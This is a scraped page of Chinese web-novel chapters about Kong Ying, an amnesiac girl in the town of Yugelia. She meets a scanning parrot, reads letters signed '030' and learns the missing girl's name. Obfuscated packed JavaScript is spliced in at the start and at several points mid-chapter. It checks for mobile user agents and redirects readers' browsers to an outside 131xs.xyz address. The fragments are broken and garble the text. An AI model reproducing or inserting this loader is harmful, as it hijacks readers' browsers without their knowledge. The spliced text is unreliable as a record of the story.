0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752316|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙,她是世界之心。” “我不会离开,你会找到我,我也会找到你……” 虚空中的呢喃逐渐淡去,下一刻,一阵怪叫取而代之:“030!030!” 是斑斑在怪叫。孔映恢复五感时,她已经停在木屋里的操作台前,如她所料,这里根本就是间实验室。 操作台由几块未经打磨的木板拼接而成,台面上布满焦黑的灼痕和刻痕,除了斑斑站立其上,余下的便是些高高低低的玻璃罐,装着面粉、干草粉末、松脂碎屑、硫磺晶体以及一些碎陶片,一些罐子用牛皮纸封口,再用麻绳缠绕,有些则用木塞塞紧。 操作台尽头的角落垒着座由碎陶片、松脂石和灰泥拼成的低矮圆炉,靠墙堆着几块焦黑的陶盘和陶罐,一道小烟囱连通圆炉和屋顶。 此时多萝西娅正背对她蹲在圆炉前,在一只破损的石钵里研磨什么,头也不回地说道:“请坐,克莉丝塔。” 孔映顺势坐到操作台一侧的木椅上,对面的墙壁上,一排排木架摆满了各式各样的罐子,她望上眼,收回目光看桌上的斑斑。 斑斑朝她面前蹦跶来几步,叫道:“早安!Bonjour! おはよう!!Buenos días!” “……”孔映转过头看多萝西娅,问她,“多萝西娅,我们要怎么开始呢?” 多萝西娅放下石杵,擦了擦手坐来她对面,不动声色地望向她。 “在那之前,我想先请你对我诚实一些。” 孔映无声眨眨眼,像是不解其意。 “你知道一些事,至少在昨天你表现得很是不安。” 孔映明白她在壁炉前沙发上的恍惚与沉思都落入多萝西娅眼中,并不意外。她甚至早就料到多萝西娅会这样请求,因此昨夜她就想好了该如何回应。 “多萝西娅,我的确遇到了古怪的现象,也知道了一些秘密,”她停顿下,冷不丁道,“比如,我知道你在研制炸药。” 多萝西娅微不可察地顿了一下,随即视线扫过台面上的东西,问道:“因为这里的东西?” “不,在此之前我就知道——就在我来这里的第二天,你在文森特先生的土豆地里引爆了炸药。” “你是怎么知道的?我想那时候你应该在仓库。” “时间回溯。”孔映迎上多萝西娅略带压迫的目光,沉静答她,“也就是我说的古怪现象。” 空气忽地沉了些许。 多萝西娅眯觑起眼眸,眼神中又多出一丝审慎:“请详细点告诉我。” 孔映遂将那次时间回溯的始末道来,说到路易莎昏迷不醒时,只见多萝西娅紧皱起眉,直到听说她以全然不同的形式度过那天后才重新舒展开眉头。 一阵静默后,多萝西娅从沉思中回神,说道:“我们没有人经历过这种怪象。” “你们?”孔映做出猜测,“你是指你和玛莎?” “不止我和她,还有格蕾塔。” “格蕾塔?” “你应该见过她,她负责驾驶尤格利亚的火车。” 孔映回想起曾在火车驾驶舱外瞥见过的制服女人,几乎确信多萝西娅是在有意向她坦白某个秘密。 “多萝西娅,为什么告诉我这些?” 多萝西娅伸手抓过斑斑,与此同时回答她:“因为,我开始怀疑,我们很早就认识彼此了。” 18.一八 多萝西娅的回答有如当头一棒,孔映因此头脑空白几瞬。 静默间,斑斑倏尔晃动下脑袋,振翅飞离多萝西娅掌心,落到她够不着的地方,叫嚷起来:“坏了!坏了!” 多萝西娅目光追随去,对着它皱了下眉,随后又神色复杂地望向眼前的女孩:“我不知道你经历了什么事才丢失了记忆,但……” 她没有说完,突然起身走向窗下的木桌,只见她打开木桌的抽屉,翻找会儿,最后抽出一封信带回到操作台前,递向孔映—— 信封由灰白色粗棉纸折叠而成,封口处留有一枚暗红色火漆。孔映一眼便注意到火漆中央烙着的印记,紧绷双唇伸出手,多萝西娅却在这时兀地将手往回缩了几分,似乎仍有些犹豫。 她抬头,眼带困惑:“多萝西娅?” 多萝西娅神色严肃:“如果真的是你,这或许会勾起你的回忆。” 孔映心头蓦地一震,迟疑片刻后还是伸手接过信封。 信上没有署名,只写着致多萝西娅,她用指腹轻轻摩挲几下火漆之上的苹果印记,缓缓展开信纸。赫然映入眼帘的并非信件内容,而是信纸右下角的落款,她不由得蹙起眉心,伸出拇指重重按住右下角的署名——030。 “你刚刚进来时,它叫了两声030。”多萝西娅留意到她的反应,突然出声,“是它让我认识到你或许就是她。” “坏了!坏了!” 没有人理会斑斑的怪叫,孔映只是抬起眼望向多萝西娅。她不确定多萝西娅是否清楚这个编号背后的含义,如果知道,那么她对于这个世界的真相和机制又知道多少呢? 她没有问下去,片刻后又低头重读手中的信。 「亲爱的多萝西娅: 你好,很高兴能与你通信。这封来信或许使你感到疑虑和困惑,但请你继续读下去。 很抱歉我无法向你袒露我的身份,但我可以告诉你,我知道许多你的事。我知道许久以来你的内心都潜藏着某种不安和怀疑,正是这种不安和怀疑让我找到你,我还知道英格玛的离去使你察觉到变动的到来,因此,我决定告诉你——我现在很需要你的帮助,抑或说,是尤格利亚很需要你。 如果你愿意相信我,帮助我,请前往火车站找到格蕾塔。 ——030」 “多萝西娅,你认为我就是030吗?” 多萝西娅不置可否。 “那它昨天起就反复念的其他编号呢?你明白这些编号的含义吗?” “我想这个问题或许该由你回答我,”多萝西娅说完一顿,“不过至少不是现在的你。” 事情的发展速度远超孔映想象,她几乎觉得信纸有些烫手,紧紧攥着信纸微微卷起的边角,继续问:“你们通过几次信?你们的秘密究竟是什么?” 多萝西娅注视着她,正色道:“我听路易莎说,你并不想找回你的记忆。” “不,多萝西娅,我已经改变主意了。”孔映说这话时沿着信纸折痕复原来信,再度摩挲起那枚微微磨损的火漆,“如果你知道她——或者说知道我是谁,那再好不过了。” “如你所见,她并没有告诉我她是谁,直到她失去音信我也只知道她自称030。” 失去音信? 孔映抬起头来,眼底的疑惑不言而喻,多萝西娅解释道:“我收到过三次她的来信,第二次是我去找格蕾塔后,最后一次是在她出发去伊德尔镇之前,后来她就音信全无。” 伊德尔镇。 “多萝西娅,请告诉我伊德尔镇究竟是怎么一回事,它和你们的秘密有什么关系?” 多萝西娅面上闪过几许惆怅和担忧,孔映望着她,等上会儿才听她回答道:“伊德尔镇就是我们最大的秘密—— “尤格利亚正在经受来自伊德尔镇的侵犯。” 什么? 孔映睁大眼,只听多萝西娅接着说,“那时候你是从火车上下来的,所以你一定是在伊德尔镇时经历了什么,这才失去记忆。” 孔映紧紧皱眉,一切杂乱的思绪串联。 如果是伊德尔镇在侵犯尤格利亚,那么多萝西娅研制炸药一事便有了解释,阿祖拉迟迟未归以及残损变形的小火车也有了解释。 “这是什么时——” 孔映没有问完,因为多萝西娅立刻示意她噤声:“克莉丝塔,关于这件事,不要问有关时间的问题。” “为什么?” “这只会引起古怪的现象……” 多萝西娅的目光有几分恍惚,孔映倏忽回想起当初路易莎的宕机,那时候她正是在问她胡丽安什么时候从伊德尔镇来到尤格利亚。 “但我能以另一种形式回答你,”多萝西娅目露担忧,“那是在英格玛去往伊德尔镇一段时间后。” “那英格玛现在在什么地方?” “她最近的来信里说,她在亚马逊丛林里穿梭。” “亚、亚马逊?” 一丝荒谬感涌上孔映心头,大概是源于她不知道在亚马逊穿梭时怎么写信寄出。 多萝西娅大约是以为她在疑惑,微微摇头说:“我也不知道那是什么地方,但只要她不在伊德尔镇……” 孔映没有说出她的猜测,而是问:“路易莎呢?为什么要瞒着她这些事?” “这是个秘密,而你也只需要向她保守秘密。” 孔映不再言语,转睛看向在操作台边缘走猫步的斑斑,不再像昨天那样排斥它,而是朝它伸出手。 “过来。” 像一道命令,斑斑立刻振翅飞来,往她掌心一站就是兵:“Yes, My lord! ” “……” “多萝西娅,谢谢你……我想我现在需要独自思考会儿,等路易莎回来,请告诉她我到河边去了。” …… 孔映离开小木屋,只身前往河谷方向。 除了刚来时她曾因睡过头独自前去仓库寻找路易莎外,这还是她第一次独自出行。她思索着先前与多萝西娅的对话,又一次蹙起眉头来。 尤格利亚为什么会遇到侵犯,难道这还是动作冒险类种田游戏吗?但从多萝西娅的反应看事实并非如此,而除此之外,似乎还有一道强烈的声音在说不应该是这样。 “030!030!”飞在前面的斑斑在篱桩上歇脚,唤回她的思绪。 “你能说点新鲜的吗?” 斑斑飞回她面前,扑棱着翅膀:“SCANNING……” 话音落下,它头顶浮现出一面半透明的面板,其上再次显现她的身份信息—— [开发者工具] NPC档案扫描 v1.2.0 扫描中…… 目标编号:NPC_#F030 姓名:未知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792384|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 性别:女 年龄:18岁 …… 孔映伸手捏住它,开口:“不许再扫描我。” “Yes, My lord! ” “……” 面板随即消失,孔映沉默松开斑斑,继续往前走。她想,如果斑斑只是NPC档案扫描工具的话,那它应该不至于带来太大麻烦,当然也不会起太大作用就是了。至于她为什么会触碰到那些数据并且抓回一只鸟…… 孔映深感郁闷,踢出脚下一块碎石,原本以为它会沿着山坡滚去乱石阵中,却没料到片刻后山坡上传来一声痛呼—— 那当然不会是石头的呼声,孔映惊得回神,小跑去下方,这才发现草地间躺着一人。 那人摸着脑袋支起身,斑斑飞到他面前连连道歉:“Pardon! Pardon! すみません!抱歉抱歉!” 接着它便扫描了他,半透明面板出现在斑斑头顶,孔映当即屏息,只见那人动作僵滞,连眼也不眨,直到他的全部信息都出现在面板上,他才满脸恍惚地眨动下眼睛,但依旧一语不发。 孔映第一次目睹斑斑扫描他人,终于明白那时候凯文和多萝西娅脸上的恍惚是如何出现,她抓回斑斑,制止道:“请停止对所有人的——” 她没有说出扫描两个字,担心眼前的青年听见,斑斑则肆无忌惮说:“Version1.2.0!Nobody! RUN! ” 她试图破译斑斑的话,想到它的出场方式竟然是敲门,而凯文和多萝西娅都是在无人的场景中与它见面,便猜测出它的意思是它只在扫描对象独处的场景启动。 “……我不算人吗?” “My lord! My lord! ” 斑斑用它的方式表示她是自己人,孔映不再理它,蹲下身拍了拍眼前的青年,那人这才回过神看向她。 “你还好吗?” 青年摸了摸脑袋,好像感觉不到痛意,这才说:“我想我还活着,”说完爽朗一笑,“你就是文森特家的客人吧?” “你怎么会知道?” “你穿着英格玛的衣服。”他这样说着,自我介绍道,“你好,我是英格玛的朋友安德森。” “你好。” 孔映并不诧异,斑斑的扫描结果一早就告诉她他的名字和身份,而他正是凯文那位艺术家朋友的小儿子。 “很抱歉,是我踢到那块石头,打扰到你了。” “不,多亏了你的石子,否则我又要睡过去了。而且多亏了你,我忽然又有了灵感。”他二话不说起身,回到树下架起的画布前,拿起画笔便画。 孔映好奇跟了上去,只见画布之上,一个少女手持画笔和调色盘,静坐在河畔潜心作画。 她想起路易莎曾告诉她,艺术家是她和英格玛的绘画老师,只不过她不像英格玛那样有艺术天赋,没能学好绘画。 “你画的是英格玛吗?” “当然,你也认识她吗?” “只是听说过很多她的事。” “那真遗憾……” 安德森没再说下去,只管勾勒画布上的少女。孔映站在他身后默默观察,河风轻轻吹动画布,涂抹在画上的光影也轻轻摇曳起来…… 忽地,孔映心底泛起种奇怪的情绪,又像是感应到什么,扭头看向乱石阵的方向。 19.一九 是错觉。除了飞舞的蒲公英和摇曳的野草地,乱石阵间空无一物。 一种莫名的空落在孔映心底漾开,她收回目光,告别安德森,迎着风继续向河谷深处前行。 河谷渐渐趋于低坦开阔,风吹来似有若无的草香,她沿着这气息向河流上游漫步。河水清亮,在阳光下闪烁着银色波光,近岸处的卵石干净圆润,与水声柔和得一致。 随着细微的气息变得浓郁,她走来几丛葱郁的野草旁,浓绿的长叶野草笔挺地立在风中,河水流经之处,叶脉上一层近乎透明的水光浮动着。 孔映驻足其侧,情不自禁伸手拨弄起那些叶片,斑斑忽而踩到其间的花苞上,迫使笔直的野草垂下腰。 “……” 真是只不解风情的胖鸟。 她沿着溪流继续前行,直到一棵槭树出现在她眼前。 树叶繁密,枝桠柔软地伸展开,投落下一地斑驳,树影笼罩着盛开的矢车菊和蒲公英。 孔映停驻在此,缓缓坐到树下。 风继续吹,像是在轻捋她的思绪,又像是在搅乱它,终于她望够了水和天,仰卧到柔软的草地上,闭上眼睛。 她感受着树影轻轻扫拂她的身体和面庞,接着开始思考,但风太轻,阳光太暖,她的头脑很快变得迷糊不清,却也轻盈得不可思议。 陷入昏睡前,她忽然格外豁达地想:就算这个世界麻烦重重又有什么关系呢,她不是照样能拥有惬意吗? 不知昏昏沉沉了多久,鼻尖倏尔发痒,接着她听见身旁有人低声说话。 “玛丽娜,你在做什么?” “快住手,玛丽娜——” 玛丽娜?好耳熟的名字。 孔映睁开眼睛,一个头戴白色蕾丝帽的小女孩正被人拉扯开。 她揉了揉痒酥酥的鼻子,撑坐起身,在小女孩背后见到另外三个孩子,其中一个如果没记错的话是叫威廉姆斯,曾拦下马车将皮靴交还给路易莎。 “真抱歉吵醒了您,我的妹妹还很傻,希望您能原谅她。”说话的是威廉姆斯,他一只手牵制着玛丽娜,另只手提着捕虫网。 “我不傻,威廉姆斯。” 头戴蕾丝帽的女孩扭过头认真辩解道,她看起来和贝拉差不多年纪,手里捏着根细长的野草。 孔映猜到刚刚是她在用草挠她,问她:“你叫玛丽娜吗?” “你认识我?” “唔……我听路易莎说起过你的名字,我有个阿姨也叫玛丽娜。” 当然那个阿姨只存在在一则愚蠢的谎言里。孔映这样想着,面庞上浮现起一丝笑意。 “你叫什么名字呢?”玛丽娜问。 “克莉丝塔。” 对于这个名字,孔映第一次坦然地将它完全地视为己有,此前她总用「克莉丝塔」指代那个她不知道名字的身体的主人,但现在她可以用「编号030」指代她——至于030真正的名字,斑斑两次扫描的结果都是未知。 “克莉丝塔,你不能睡在这里,其它麝鼠会不敢出来的。”玛丽娜说道。 “麝鼠?” 玛丽娜指了指她身后,孔映回头,在不远的地方见到处野草掩映的洞穴。 “那是麝鼠的洞穴,卡洛琳和格林刚刚就抓到了一只麝鼠。” 孔映转回视线,看向兄妹二人身后另外两个孩子。 卡洛琳是个年长一些的女孩,赤脚踩在草地上,怀中圈禁着一只褐色短毛鼠。格林站在她身侧,个头比女孩矮上一截,但体格强壮,也同样望着她。 “Hola! みなさん、こんにちは!” 斑斑突然从草地间飞起来向他们问好,几个孩子同时仰头看它,玛丽娜惊讶不已:“克莉丝塔,是它在说话吗?” “它是鹦鹉吗?”卡洛琳也问道。 “不错,你们可以叫它斑斑,它可以说一些让人听不懂的话。” 卡洛琳忽然上前几步,双手托着那只胖乎乎的短毛麝鼠递到孔映面前,孔映仍维持着坐姿,为此微微后仰,抬眼看向怀抱麝鼠的女孩。 “我可以用它和你交换吗?”女孩问。 “Nope! Nope! ”斑斑立刻回绝。 孔映无视它,低眼看那只短毛麝鼠,它的毛发被水打湿,贴在身上,整只鼠看起来格外圆润,因为被卡洛琳抱在怀里,它将前爪缩在胸前,但那双黑豆般的眼睛和微翕的鼻尖都显出某种狡黠和机敏,像是在捕捉空气中的动静,只等女孩松手便会逃走。 “我们可以短暂交换,但我不能把斑斑交给你。” 卡洛琳一笑,说道:“那也不错。” 她回头叫来格林,让他把一把菖蒲嫩叶交给孔映,并告诉她如何饲养麝鼠,接着她便将麝鼠转交到孔映手中。 沉甸甸的麝鼠挥舞几下短小的四肢,见孔映托起它,斑斑飞来它头顶,胖鼠因此挣扎两下,竖起小巧的耳朵反抗,同样反抗的还有斑斑,不过嚷了两声030后它便被卡洛琳捧到手心…… 路易莎沿河而上时见到的便是孔映和几个孩子一处玩耍的场景,她扬起嘴角,放缓前行的脚步,但威廉姆斯发现了她,冲她挥舞起手臂,余下几人也都看向她,她这才小跑到他们面前。 “你们在玩什么?” “路易莎姐姐,克莉丝塔是抓麝鼠的高手!”格林说。 孔映身旁环绕着四只麝鼠,都抱着菖蒲叶啃食着,丝毫不畏惧人群。斑斑在卡洛琳和两个男孩的手心里跳来跳去。玛丽娜则盘膝坐在她和麝鼠身旁,同样啃食着菖蒲嫩叶,见路易莎来,她举起一根嫩叶问:“你要吃吗,路易莎?” 路易莎道谢接过,撕下一小段咬在嘴里,随后抱起一只麝鼠放到一旁,自己坐到孔映身侧,说道:“克莉丝塔,你还真是惬意。” 孔映一笑,双肘支在蜷缩的膝盖上方,托腮凝望向河流对面。 河对岸是一片莎草滩,草滩后是一片小树林,阳光洒落进林中,洇进草地里。 “路易莎,我喜欢尤格利亚。” 她的声音夹在孩子们的笑声中低低响起,语调格外认真,“喜欢你们所有人。” 路易莎不禁一怔,转眸望向她。 她看见一颗泪从女孩的眼眶涌出,明亮得不可思议,一时间说不出任何话。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807744|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 孔映抬手抚向左侧脸颊,同样惊异于这滴泪,在她说出她喜欢这里时,她感觉到一阵恍惚,就好像曾经她并不认同这句话一般。 愣神之际,路易莎忽而将手搭到她头顶,轻拍两下。 “克莉丝塔,我们也很喜欢你。” “是哦,麝鼠也很喜欢你。”另一侧的玛丽娜附和。 孔映微微一笑,拍了拍面前一只麝鼠的脑袋。她也不知道为什么她忽然间变得像迪士尼公主一样受小动物喜欢,总之只是把菖蒲叶送进洞穴就勾出另外三只胖麝鼠来…… 直到临近正午她们才与孩子们道别回家,路上,安德森仍在草地上画画。 路易莎得知孔映来时已经与安德森打过照面,深感欣慰——克莉丝塔果然喜欢上了尤格利亚,即使她不在她身旁,她也会结识新的朋友并且和他们交谈。 “安德森好像很喜欢英格玛,甚至能一眼认出我穿着英格玛的裙子。”孔映忽然有感而发。 “那是当然!”路易莎远远地望一眼安德森,眯起眼笑,“英格玛一直是很耀眼很受欢迎的孩子,连卢锡安——” 她吞回后面半截话,孔映疑惑问道:“卢锡安?” 路易莎声音轻了些:“嘘,我一早就知道他也喜欢英格玛,只不过这家伙太害羞了。” 孔映微微挑眉,好一会儿才轻笑声。 “你笑什么?” “没什么。”孔映摇头否认,想了想,突然格外认真地说道,“路易莎,你也一样耀眼。” “克莉丝塔!你又开始说让人害羞的话了!” “这是事实。” 路易莎脸颊微微泛红,转过脸看其他方向:“我知道啦,因为知道大家都很喜欢我,所以我也很喜欢大家……” 一阵风从背后吹来,草叶轻响。 她似乎还说了句什么,但风声吞噬了那句话,孔映没有听清,她以为那并不重要。 - 钟声敲响十下。 阳光铺洒向尤格利亚的街道,街角的木招牌在风中轻轻晃荡。孔映和路易莎并肩走在卵石路上,斑斑飞在前方左右徘徊。 如路易莎所说,她这天来镇上时带上了斑斑,而眼下她们正是要前往奇奇的树屋。 路上,路易莎显得兴奋,她认为带上斑斑她们就会有三次无偿的占卜,但孔映走到市政厅前突然对她提出:“路易莎,我需要先离开会儿,晚点我会去奇奇那儿找你。” 路易莎欲问个究竟,但开口之际忽忽想到什么,吞回疑问,最后只是尤为婉转地表示:“可我想和你一起看奇奇给斑斑占卜。” “你确定奇奇会给斑斑占卜吗?” “不试试怎么知道呢?” “那请你在那里等等我,我需要确定一件事,等我确定就立刻来找你。” “好吧,克莉丝塔……”路易莎妥协,“那么你把斑斑也带上好了,我怕我忍不住。” 毕竟她对奇奇的抵抗力丝毫不值得信任。 孔映不觉失笑,伸出手召唤来斑斑,由此与路易莎分别。 而接下来,她只需要找到去往苹果街的路。 20.二〇 街道安静得出奇,只有风拂过树叶的声音,空气中漂浮着微微的苹果香,随风穿过整条街道。 孔映走在街心,留意着两侧的门牌。 左侧是奇数号,右侧是偶数号,每户庭院都由低矮的木栅栏围起,院内都有一棵苹果树,或高或低,结着或红或绿大小不一的果实。2号庭院里除了苹果还种有连片的玫瑰,5号住宅前簇拥着几团粉蓝绣球,7号庭院里有间狗舍,一只金毛正趴在树下打盹……孔映目光掠过这些庭院,隐约感知到一丝熟悉,就好像她真的拥有属于苹果街的记忆一般。 她最终停在11号与12号住宅间,转向右侧,仰头看12号院内的苹果树。 她笃定那是整条苹果街最大、最完美、果实最繁的一棵苹果树——枝干粗壮,枝桠交错,缀满了几乎比叶片还繁密的果实,仿佛随时会有果实掉落。 正这么想着,一颗苹果倏忽落地,骨碌碌向栅栏边滚来。 斑斑即刻飞进院中,踩在滚动的苹果上表演一段杂耍,最后随着苹果停下栖息其上,歪头看孔映。 “Apple Tree!Apple Street!” 斑斑话音落下,一阵风吹动了栅门,“吱呀”一声轻响,像是在发出某种邀请。 孔映迟疑一瞬,缓缓走到门前推开栅门。她走去斑斑面前,低腰拾起那颗带着红晕与尘土的苹果,一边擦拭一遍朝树下去。 脚下青石铺就的小径干净无尘,路旁的草地整齐可爱,苹果树下,几颗新鲜苹果躺在草地上,而土壤微微湿润……一切都表明这不是处荒置的庭院,它仍被人细心打理着。 会是什么人呢? 030也像路易莎一样有家人吗? 孔映第一次想到这种可能,不禁攥紧手中的苹果。她离开苹果树前往那扇苹果绿的房门,准备敲门,但在途经门阶旁一只陶罐时,又鬼使神差地停驻了脚步。 蓝陶罐中金盏花盛放,罐沿与底部水痕残留,她说不上来为什么会注意到它,身体却像是受到某种多出来的记忆驱使,蹲下身去。她伸手探入花丛之下,指尖随即触碰到冰冷的金属。 是钥匙,一片略扁的钥匙。钥匙柄塑造成苹果形状,表面泛着铜绿光亮,孔映静静摩挲两下,走上门阶。 门锁咔哒一响,苹果绿的房门向内打开一条缝,她深吸口气,推门而入。 她本以为她会像以往那样陷入混沌,但这一次那种异样没有降临,屋子里的一切都清晰无比地呈现在她眼前。 橡木地板一尘不染,但有彩色线团四散,未织完的蓝围巾放在矮茶几上,一旁是编织篮和装满纽扣的玻璃罐,一整张钩织毯覆盖在长沙发上,沙发后是通往二楼的楼梯。 孔映抬脚进屋,但皮靴落在地板上方的咯吱声令她收回脚步,她低头,在玄关处发现一双居家鞋和一双雨靴,她将手中的苹果放到柜子上,随后换上那双对她来说大小完美合适的居家鞋。 斑斑这时飞进屋内,四处乱蹿。她没有制止它,而是近乎出于本能地走去楼梯上,径直前往二楼的某个房间。 从她走进这座小楼起,她就像是被记忆裹挟,她好像天然地熟悉这里,并且并不对此感到惊异,然而,当她推开那间卧房的房门时,一种落差感猛然浮上心头。 孔映走去书桌旁,指尖划过空荡得连灰尘也没有的桌面,皱起了眉。 不应该是这样,这里应该少了些什么。 她想不起来少的东西究竟是什么,躁动不安着走到窗边,拉开窗帘。 阳光温和照进屋内,孔映眯了眯眼,其后望见对面的11号住宅。院门紧闭着,一丛绿藤自墙角攀爬至二楼窗边,遮盖住部分鹅黄色墙面,灰绿色的窗扇半掩着,从这里窥不清屋内的样子。 孔映不甚在意地望上眼,又转身到书架前寻觅。 书架上的书都能从她没有被失忆干扰的知识体系中检索到,就好像这里是和现实世界的连接处,但她并没有发现更特殊的存在。 寻觅间,街对面突然传来一声响动,她转回窗边,只看见11号住宅的窗扇在晃动。如果不是窗边的藤叶静止不动,她大约会觉得是风,可窗内没有人影。 周遭依旧一片静谧,孔映收回注意力,决定再去其他房间看看,但转身之际呼吸猛然一滞——书桌后方的墙面上,一块方方正正的东西镶嵌在那儿。 插……插座? 孔映头脑空白一瞬,蹲去插座前查看。她不明白这个没有电力时代痕迹的世界为什么会出现插座,正觉凌乱,忽听楼下传来斑斑的叫声。 “SCANNING!” 意识到它又在扫描什么人,她忙起身赶回楼下…… 是阿祖拉。他站在门外,阳光从他身后照来,他的脸庞在阴影中不甚清晰。 斑斑飞在他面前,头顶的面板显示着他的资料—— 目标编号:NPC_#F031 姓名:阿祖拉 性别:男 年龄:19岁 角色:尤格利亚小镇邮差01 登记地址:苹果街 11号 当前位置:苹果街 12号 状态:串门状态……无异常 “030!031!”斑斑飞回孔映肩上,叫道。 孔映望着失神中的阿祖拉,缓了缓神。 她连代码这种东西都能看见,插座对比之下也不是太奇怪了。 她走近叫一声阿祖拉的名字,他因此回神。他的目光渐渐聚焦到孔映身上,一瞬间,那张素来沉静的脸上竟然露出一丝喜色,但很快他的眉头又不着痕迹地皱了起来,转瞬便恢复了那种复杂的神色。 “是你。” “你以为是她回来了吗?” 阿祖拉沉默了片刻,不答反问:“你怎么会找来这里?” “它告诉我的。” 孔映指了指肩上的鹦鹉回答,并不怕被他当成傻瓜。也不知他是信了还是没信,总之他没再追问。 这时,她目光越过他,看一眼11号住宅,问道:“你住在街对面?” “嗯。” “是你在打理她的花园?” 阿祖拉耳尖豁然红了几分,承认道:“有时间就来打扫下……” “那你来过屋子里吗?” “没有!”他有些着急地否认。 “那么你也不会知道这里是不是少了些东西,是吗?” “什么?” 孔映定定望着他,说:“我感觉这里少了些什么,如果你曾经来过屋子里,也许会发现。” “我没有进去过……”他停顿会儿,“为什么这么说?你还有她的记忆吗?” “我不确定,只是这样感觉。” 阿祖拉再度沉默,就在这时,院中又一颗苹果落地,他闻声回头,继而走向院里。孔映则回望眼屋内,随后换回皮靴,带上先前那颗苹果从屋内出来。 两人在苹果树下的长椅上并肩而坐,各自捧着一颗苹果。孔映赶走了赖在膝头的斑斑,偏头看看黑发青年,问:“你和她是朋友吗?” 阿祖拉低垂头颅,黑发遮住他的眼睛:“我只是她的邻居。” “她就是胡丽安说的你喜欢的女孩吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832744|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你……你不要听她胡说,她什么都不知道。” 孔映注意到他红透的耳根,说:“好吧。” 静默一瞬,她接着说,“和我说说她吧,我想知道她的过去。” 阿祖拉因这话抬起头,扭头看来时撞上孔映打量的眼光:“为什么想知道?” “毕竟什么都不知道的话,会很困扰,就像你认识她,这只鸟也认识她,都让我困扰。” “……”阿祖拉又低头转起手中的苹果,重申道,“我只是她的邻居。” “好吧,那我走了。”孔映竟说起身就起身。 阿祖拉忙站起来,叫住她:“等等!” 他意外的有些急躁,孔映回头时只见他低垂下眉眼,说:“我——她很少出门,我也很少和她说话,但她每个晴天都会来院子里坐下吃颗苹果。” 她等了等,狐疑问:“就这样?” “有时候吃两个……” “……”孔映张了张嘴巴,犹豫会儿才问道,“所以你是在偷窥她吗?” 阿祖拉突然脸颊涨红,比苹果红有过之而无不及,孔映挑眉,有些震惊地发现他竟然流出鼻血来。 “……” 她是不是不该这么直接? “咳,擦擦吧。” 她递出一张手帕,阿祖拉接过后背身擦拭起鼻血,清瘦的背影看起来像是在微风中战栗。 许久,他镇定下来,回过身解释道:“不是偷窥,我只是……只是在她出现的时候看过去,不过她不是每次都能注意到我。” 口吻无比真挚,又有些可怜,孔映不由得感到一阵欷歔。 到底发生了什么事呢?为什么她会出现在030的身体里?她还好吗? “吃掉吧。” “嗯?” 阿祖拉突然的提议令孔映一怔,他又说:“苹果,吃掉吧……她之前告诉我说,‘一天一苹果,医生远离我’,吃苹果可以让人心情舒畅。” “……” 这位少女的知识体系无疑也很超出。 “我会晚些吃掉,现在我得去找路易莎了,你有时间陪我一起走走吗?” 她突然向他发出邀请,阿祖拉再次烧红耳根,却没有回绝。 两人一同离开苹果街,路上,阿祖拉又向孔映透露了一些与030有关的细节,比如她鲜少出门,一旦需要出门就会戴上顶宽檐草帽,又比如她总是很晚起床,窗帘经常到中午时才会被拉开,还比如她的房间每每在夜里散发出彩色的光芒…… 孔映听到这里,一颗心怦怦直跳起来。 什么样的彩色光芒呢? 这样的描述不禁让她联想到书桌旁的空插座,从而有了个大胆的猜测——每天夜里她房间里发出的彩色光芒或许是电子屏幕发出的光线,而那张空空的书桌上,至少应该有一台电脑。 “她有什么朋友吗?”她问。 她想知道是否会有人前来取走她的东西。 “她只喜欢一个人呆着。” “……” 那很宅了。 追寻未果,孔映有些无奈地低叹声,走出几步后,她又想到什么:“对了,我还不知道她的名字,你知道吗?” 阿祖拉默然,孔映偏头,见他一副欲言又止的模样,顿时感觉像是回到采蓝莓的那天,她唯恐又把他问成边缘模糊的状态,忙说:“不能说的话也没关系!” 毕竟连斑斑的扫描都没有结果。 “不,我知道。” 他停下脚步,固执地对上她的眼睛,终于缓缓吐出那个名字—— “她叫孔映。” 21.二一 孔映想,边缘模糊的不该是阿祖拉,而应该是她。 她应该头脑发胀脚步虚浮,应该听不见任何声音,应该闪烁不定像是被雷击中,毕竟她刚刚听见了她的名字。但事实上,她没有耳鸣没有头晕,周围的一切都没有变形,风在吹拂,斑斑在和一只秃头麻雀打闹……她没有震惊得天旋地转,反而出奇的冷静。 一段似乎是无关紧要的记忆乍现,她记得她曾看过一部电影,现实与梦境交织重复,女人追逐着一道穿斗篷的黑影,黑影回过头来,露出一张镜面脸。* 